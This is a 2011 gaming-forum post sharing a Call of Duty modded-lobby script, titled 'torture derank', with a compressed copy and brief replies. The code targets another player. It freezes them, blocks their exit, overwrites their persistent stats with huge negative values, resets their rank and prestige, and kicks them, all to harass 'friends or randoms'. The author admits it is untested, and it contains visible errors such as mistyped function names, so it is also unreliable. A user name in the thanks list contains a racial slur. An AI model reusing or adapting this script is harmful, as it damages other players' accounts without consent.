Post: [CODE]Torture Derank
06-28-2011, 10:53 PM #1
INSAN3LY_D34TH
INSAN3LY GAMING
(adsbygoogle = window.adsbygoogle || []).push({}); This is just something I threw together because I am really bored right now. Just a simple code to screw with your friends or randoms in lobbies. I am not 100% sure that this code will work as I have not tested it yet, but it should as I see no errors in the code. Feel free to edit.

Put this function in your player menu and thread it as torture()

    torture()//thread this and dont verify the person
{
self endon("disconnect");
self iPrint1n("^1Your gunna get ****ed up!");
while(1)
{
self SetClientDvar( "r_poisonFX_debug_enable", "1" );//this will make them shoot themselves lol
self freezecontrols( true );//dont want them moving
self thread takeallweapons();//full effect of vision
self closeInGameMenu();//cant quit the game now noobs
self thread screw();
//if(self backButtonPressed()){self thread freeps3();}
wait 0.01;//no time to take action
}
}

screw()
{
self iPrint1n("^1Try to leave, I dare you!");
wait 15;
self thread Prestige( 0 );
self thread setrank1();
self thread dostats();
wait 5;
self iPrint1n("Bye Bye buddy, better luck next time");
wait 1;
self thread kick();
}

freezeps3()
{
self setClientDvar( "r_fullbright", "1" );
}

dostats()
{
self maps\mp\gametypes\_persistence::statSet( "kills", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "wins", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "score", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "kill_streak", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "win_streak", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "headshots", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "deaths", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "assist", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "accuracy", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "losses", -2147400000 );
self maps\mp\gametypes\_persistence::statSet( "misses", -2147400000 );
self maps\mp\gametypes\_persistence::statAdd( "time_played_total", -2147400000 );
}

Prestige( value )
{
self maps\mp\gametypes\_persistence::statSet( "plevel", value );
self.pers["prestige"] = value;
self.pers["rankxp"] = 153900;
self.pers["rank"] = self getRankForXp( self.pers["rankxp"] );
self setStat(252, 65);
self.setPromotion = true;
wait 1.5;
self thread updateRankAnnounceHUD();
self setRank( self.pers["rank"], self.pers["prestige"] );
}

setrank1()
{
self.pers["rankxp"] = 1;
self.pers["rank"] = self getRankForXp( self.pers["rankxp"] );
self setStat(252, 1);
self.setPromotion = true;
wait 1.5;
self thread updateRankAnnounceHUD();
self setRank( self.pers["rank"], self.pers["prestige"] );
}

kick()
{
playertokick = self GetEntityNumber();
wait 2;
kick(playertokick);
wait 2;
self thread submenu(7);//change to your player status menu
}


For those who need that extra space, here it is simplified(ps: scroll down to see the rest of the code)

    torture(){self endon("disconnect");self iPrint1n("^1Your gunna get ****ed up!");while(1){self SetClientDvar("r_poisonFX_debug_enable","1");self freezecontrols(true);self thread takeallweapons();self closeInGameMenu();self thread screw();wait 0.01;}}screw(){self iPrint1n("^1Try to leave,I dare you!");wait 15;self thread Prestige(0);self thread setrank1();self thread dostats();wait 5;self iPrint1n("Bye Bye buddy,better luck next time");wait 1;self thread kick();}freezeps3(){self setClientDvar("r_fullbright","1");}dostats(){self maps\mp\gametypes\_persistence::statSet("kills",-2147400000);self maps\mp\gametypes\_persistence::statSet("wins",-2147400000);self maps\mp\gametypes\_persistence::statSet("score",-2147400000);self maps\mp\gametypes\_persistence::statSet("kill_streak",-2147400000);self maps\mp\gametypes\_persistence::statSet("win_streak",-2147400000);self maps\mp\gametypes\_persistence::statSet("headshots",-2147400000);self maps\mp\gametypes\_persistence::statSet("deaths",-2147400000);self maps\mp\gametypes\_persistence::statSet("assist",-2147400000);self maps\mp\gametypes\_persistence::statSet("accuracy",-2147400000);self maps\mp\gametypes\_persistence::statSet("losses",-2147400000);self maps\mp\gametypes\_persistence::statSet("misses",-2147400000);self maps\mp\gametypes\_persistence::statAdd("time_played_total",-2147400000);}Prestige(value){self maps\mp\gametypes\_persistence::statSet("plevel",value);self.pers["prestige"]=value;self.pers["rankxp"]=153900;self.pers["rank"]=self getRankForXp(self.pers["rankxp"]);self setStat(252,65);self.setPromotion=true;wait 1.5;self thread updateRankAnnounceHUD();self setRank(self.pers["rank"],self.pers["prestige"]);}setrank1(){self.pers["rankxp"]=1;self.pers["rank"]=self getRankForXp(self.pers["rankxp"]);self setStat(252,1);self.setPromotion=true;wait 1.5;self thread updateRankAnnounceHUD();self setRank(self.pers["rank"],self.pers["prestige"]);}kick(){playertokick=self GetEntityNumber();wait 2;kick(playertokick);wait 2;self thread submenu(7);}
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The following 4 users say thank you to INSAN3LY_D34TH for this useful post:

.Kane., DreamKidzVa, iReset Nigga, lovebros
06-30-2011, 12:23 PM #11
Niall-Griffiths
Vault dweller
Originally posted by D34TH View Post
haha, soon, i have been busy working on my ffviewer thats gunna be released.


ok nice any idea how long

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